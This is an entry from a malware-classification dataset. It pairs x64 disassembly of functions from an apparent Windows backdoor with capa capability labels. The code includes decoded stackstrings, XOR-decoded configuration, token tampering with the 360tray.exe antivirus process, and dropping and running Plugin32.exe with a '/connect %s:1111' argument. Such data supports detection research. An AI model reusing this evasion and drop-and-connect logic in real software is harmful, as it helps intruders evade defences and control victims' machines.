joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002a20
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x61766441
mov dword [rbp + 3], 0x32336970
mov dword [rbp + 7], 0x6c6c642e
mov byte [rbp + 0xb], 0
mov dword [rbp + 0x2f], 0x6f6c6c41
mov dword [rbp + 0x33], 0x65746163
mov dword [rbp + 0x37], 0x49646e41
mov dword [rbp + 0x3b], 0x6974696e
mov dword [rbp + 0x3f], 0x7a696c61
mov dword [rbp + 0x43], 0x64695365
mov byte [rbp + 0x47], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x2f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0x17], 0x63656843
mov dword [rbp + 0x1b], 0x6b6f546b
mov dword [rbp + 0x1f], 0x654d6e65
mov dword [rbp + 0x23], 0x7265626d
mov rbx, rax
mov dword [rbp + 0x27], 0x70696873
mov byte [rbp + 0x2b], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0xf], 0x65657246
mov rsi, rax
mov dword [rbp + 0x13], 0x646953
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
lea rcx, [rbp - 9]
mov r12, rax
lea rax, [rbp - 0x11]
lea r8d, [rdi + 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rbp - 9], 0
mov dword [rsp + 0x20], edi
mov word [rbp - 5], 0x500
call rbx
mov dword [rbp - 0x19], eax
test eax, eax
je 0x140002b78
mov rdx, qword [rbp - 0x11]
lea r8, [rbp - 0x19]
xor ecx, ecx
call rsi
mov rcx, qword [rbp - 0x11]
call r12
mov eax, dword [rbp - 0x19]
cmp eax, 1
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140002bb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r12, rcx
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x6e72654b
mov dword [rbp - 0x15], 0x32336c65
mov dword [rbp - 0x11], 0x6c6c642e
mov byte [rbp - 0xd], 0
mov dword [rbp + 0xf], 0x53746547
mov dword [rbp + 0x13], 0x65747379
mov dword [rbp + 0x17], 0x6d69546d
mov dword [rbp + 0x1b], 0x46734165
mov dword [rbp + 0x1f], 0x54656c69
mov dword [rbp + 0x23], 0x656d69
mov dword [rbp + 0x27], 0x656c6946
mov dword [rbp + 0x2b], 0x656d6954
mov dword [rbp + 0x2f], 0x6f4c6f54
mov dword [rbp + 0x33], 0x466c6163
mov dword [rbp + 0x37], 0x54656c69
mov dword [rbp + 0x3b], 0x656d69
mov dword [rbp - 9], 0x656c6946
mov dword [rbp - 5], 0x656d6954
mov dword [rbp - 1], 0x79536f54
mov dword [rbp + 3], 0x6d657473
mov dword [rbp + 7], 0x656d6954
mov byte [rbp + 0xb], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x27]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 9]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x29]
mov rdi, rax
call rsi
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x29]
call rbx
test eax, eax
je 0x140002cc9
lea rcx, [rbp - 0x21]
mov rdx, r12
call rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x140003430
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x34]
xor esi, esi
xor edx, edx
mov r8d, 0x100
mov dword [rsp + 0x30], esi
call fcn.14000a8a0
lea rcx, [0x14002dfbc]
call fcn.140006a40
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x1400034ed
mov ecx, 0x400
call fcn.140006f1c
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x1400034ed
lea rcx, [rdi + 1]
mov edx, 0x82
nop word [rax + rax]
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x1400034c0
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8d, 0x104
call fcn.140006b70
mov rcx, rdi
call fcn.140006f24
jmp 0x140003510
lea rcx, [rsp + 0x30]
lea rdx, [0x140034d40]
mov r8d, 0x104
call fcn.140006b70
nop word [rax + rax]
lea r9, [rsp + 0x30]
lea r8, [0x140002fe0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov byte [0x1400362dd], sil
mov byte [0x1400362dc], sil
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14002dfbc]
call fcn.140006a40
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x1400035ea
mov ecx, 0x400
call fcn.140006f1c
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x1400035e8
lea rcx, [rdi + 1]
mov edx, 0x82
nop word [rax + rax]
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x1400035b0
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8d, 0x104
call fcn.140006b70
mov rcx, rdi
call fcn.140006f24
cmp byte [0x1400362dd], sil
jne 0x140003510
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140004f10
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rcx
lea rcx, str.360tray.exe
xor ebp, ebp
mov qword [rsp + 0x38], rbp
xor bl, bl
call fcn.1400024e0
test eax, eax
je 0x140005024
mov r8d, eax
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000502e
lea r8, [rsp + 0x38]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005019
xor eax, eax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
mov word [rsp + 0x50], 0x101
mov byte [rsp + 0x57], reloc.WS2_32.dll_recv
mov dword [rsp + 0x58], ebp
mov dword [rsp + 0x48], 0x20
mov qword [rsp + 0x40], rax
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
lea edx, [rbp + 0x19]
lea r9d, [rax + 0x10]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x14000500e
lea r8, [0x140004e20]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140004820
test eax, eax
setne bl
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000502e
call fcn.140004820
test eax, eax
setne bl
cmp bl, 1
lea rdx, [rsp + 0x30]
mov r8d, 1
setne al
mov rcx, rsi
add al, 0xda
mov byte [rsp + 0x30], al
call fcn.140001560
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140005080
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push r12
push r13
push r14
lea rbp, [rsp - 0x208]
sub rsp, 0x308
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
mov r12, rdx
mov r13, rcx
lea rdx, [rbp - 0x30]
mov ecx, 0x104
mov esi, r8d
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [rsp + 0x50], 0x67756c50
mov dword [rsp + 0x54], 0x32336e69
mov dword [rsp + 0x58], 0x6578652e
mov byte [rsp + 0x5c], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
mov r8d, eax
call fcn.1400079a8
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor r14d, r14d
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x30], r14
lea r8d, [r14 + 2]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400051da
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x300], rdi
xor eax, eax
mov rdi, r12
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
repne scasb al, byte [rdi]
mov rdi, r12
not rcx
dec rcx
sub esi, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea r8d, [rsi - 1]
not rcx
lea rdx, [rcx + r12]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [r13 + 0x24]
lea rdx, str._connect__s:1111
lea rcx, [rbp + 0xe0]
call fcn.1400079a8
lea r9, [rbp + 0xe0]
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x44]
xor ecx, ecx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x44], 0x6e65706f
mov byte [rsp + 0x48], r14b
mov qword [rsp + 0x20], r14
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdi, qword [rsp + 0x300]
xor eax, eax
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.140006b30
add rsp, 0x308
pop r14
pop r13
pop r12
pop rsi
pop rbx
pop rbp
ret

Function at 0x14000520c
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x105
jne 0x1400052d8
sub rsp, 0x548
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rdx, [rcx + 1]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.140006b70
lea r11, [rsp + 0x21]
mov eax, 0x82
nop word [rax + rax]
xor byte [r11 - 1], 0x46
xor byte [r11], 0x46
add r11, 2
dec rax
jne 0x140005250
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], al
call fcn.14000a8a0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.140001140
cmp eax, 1
jle 0x1400052c1
cmp byte [rsp + 0x130], 0
je 0x1400052c1
lea rdx, [rsp + 0x130]
lea rcx, [0x14002dfbc]
call fcn.140006960
mov byte [0x1400362dd], 1
mov byte [0x1400362dc], 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140006b30
add rsp, 0x548
repz ret
Function at 0x1400052e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rdx
mov rbp, rcx
mov edx, r8d
mov ecx, 0x40
mov ebx, r8d
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8d, ebx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.140006b70
lea r11, [0x140003ee0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x140002480]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x2068]
mov rsi, qword [rsp + 0x70]
mov ecx, ebx
mov rbx, qword [rsp + 0x60]
mov qword [rbp + rax*8 + 0x128], rcx
inc dword [rbp + 0x2068]
mov rbp, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x1400053b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x50
mov r12, rcx
mov ecx, 0x118
mov r13, r9
mov edi, r8d
mov r14, rdx
call fcn.140006f64
mov rbx, rax
test rax, rax
je 0x1400054c5
xor edx, edx
mov r8d, 0x118
mov rcx, rax
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], rsi
call fcn.14000a8a0
mov ecx, edi
call fcn.140006f1c
mov rsi, rax
test rax, rax
je 0x1400054bb
mov r8d, edi
mov rdx, r14
mov rcx, rax
call fcn.140006b70
lea rcx, [rbx + 0x10]
mov rdx, r13
mov r8d, 0x104
mov qword [rbx + 8], rsi
mov dword [rbx], edi
call fcn.140006b70
lea r11, [0x140003e80]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x140002480]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [r12 + 0x2068]
mov ecx, ebx
mov qword [r12 + rax*8 + 0x128], rcx
inc dword [r12 + 0x2068]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x140006200
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
movabs rcx, 0xffffffff00000000
mov rsi, qword [r8 + 0x30]
movzx eax, word [r8 + 0x14]
xor edi, edi
and rsi, rcx
cmp di, word [r8 + 6]
jae 0x1400062ff
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r12
lea r12, [0x140034c20]
lea rbx, [rax + r8 + 0x3c]
nop word [rax + rax]
mov r9d, dword [rbx]
mov eax, r9d
mov edx, r9d
mov r10d, r9d
shr eax, 0x1d
shr edx, 0x1e
shr r10d, 0x1f
and eax, 1
and edx, 1
bt r9d, 0x19
jae 0x14000628a
mov ecx, dword [rbx - 0x1c]
mov edx, dword [rbx - 0x14]
mov r8d, 0x4000
or rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400062de
movsxd rcx, eax
movsxd rax, edx
lea rdx, [rax + rcx*2]
lea rcx, [r10 + rdx*2]
mov r10d, dword [r12 + rcx*4]
bt r9d, 0x1a
jae 0x1400062a8
bts r10d, 9
mov eax, dword [rbx - 0x14]
test eax, eax
jne 0x1400062c8
test r9b, 0x40
je 0x1400062bb
mov eax, dword [r8 + 0x20]
jmp 0x1400062c4
test r9b, r9b
jns 0x1400062de
mov eax, dword [r8 + 0x24]
test eax, eax
je 0x1400062de
mov ecx, dword [rbx - 0x1c]
lea r9, [rsp + 0x40]
mov edx, eax
or rcx, rsi
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rbp]
inc edi
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp edi, eax
jl 0x140006250
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret

Function at 0x140006960
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x640
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x30], 0
call fcn.14000a8a0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x1400069ca
lea rdx, str.UnKnow
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x230]
xor edx, edx
mov r8d, 0x400
call fcn.14000a8a0
lea r8, [rsp + 0x30]
lea rdx, str.SOFTWARE_s_
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x230]
mov r8, rbx
mov r9d, eax
mov rdx, rdi
call fcn.140001900
test eax, eax
setne al
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.140006b30
mov rbx, qword [rsp + 0x660]
add rsp, 0x640
pop rdi
ret
Function at 0x140006a40
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x640
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x630], rax
mov rbx, rcx
lea rcx, [0x1400362f0]
xor edx, edx
mov r8d, 0x400
call fcn.14000a8a0
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x1ff
mov byte [rsp + 0x30], 0
call fcn.14000a8a0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x200
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x140006ab7
lea rdx, str.UnKnow
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x230]
xor edx, edx
mov r8d, 0x400
call fcn.14000a8a0
lea r8, [rsp + 0x30]
lea rdx, str.SOFTWARE_s_
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x230]
mov rdx, rbx
call fcn.1400015e0
lea rax, [0x1400362f0]
mov rcx, qword [rsp + 0x630]
xor rcx, rsp
call fcn.140006b30
add rsp, 0x640
pop rbx
ret

Function at 0x140007db7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140033028]
jne 0x140006b4a
rol rcx, 0x10
test cx, 0xffff
jne 0x140006b46
repz ret
ror rcx, 0x10
jmp 0x140007d10
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400351a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140035298]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007d95
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400351a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007db7
mov rax, qword [rsp + 0x88]
mov qword [0x140035298], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140035238], rax
mov rax, qword [0x140035298]
mov qword [0x140035110], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140035220], rax
mov dword [0x140035100], 0xc0000409
mov dword [0x140035104], 1
mov rax, qword [0x140033028]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140033030]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140035198], eax
mov ecx, 1
call fcn.14000c834
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400266c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140035198], 0
jne 0x140007e3e
mov ecx, 1
call fcn.14000c834
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14000bb20
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000b990
Function at 0x14000cdec
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140009178
xor ebx, ebx
cmp qword [0x1400361e8], rbx
mov rdi, rax
jne 0x14000ceff
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000cfd6
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000cfd6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400361e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400361f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400361f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140036208], rax
test rax, rax
je 0x14000cef6
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140036200], rax
jmp 0x14000cf06
mov rax, qword [0x140036200]
jmp 0x14000cf0d
mov rax, qword [0x140036200]
mov r11, qword [0x140036208]
cmp rax, rdi
je 0x14000cf74
cmp r11, rdi
je 0x14000cf74
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140036208]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14000cf74
test rax, rax
je 0x14000cf74
call rsi
test rax, rax
je 0x14000cf6e
lea rcx, [rsp + 0x30]
mov r9d, ntohs
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000cf6e
test byte [rsp + 0x40], 1
jne 0x14000cf74
bts ebp, 0x15
jmp 0x14000cfb4
mov rcx, qword [0x1400361f0]
cmp rcx, rdi
je 0x14000cfb4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000cfb4
call rax
mov rbx, rax
test rax, rax
je 0x14000cfb4
mov rcx, qword [0x1400361f8]
cmp rcx, rdi
je 0x14000cfb4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000cfb4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400361e8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000cfd6
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000cfd8
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006b30
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140012d90
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x140012e50
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x140012e78
lea r9, [rsp + 0x50]
jmp 0x140012e82
cmp edx, 1
jne 0x140012ecb
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x140012f1e
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x1400131d0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x44]
mov rcx, rbx
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
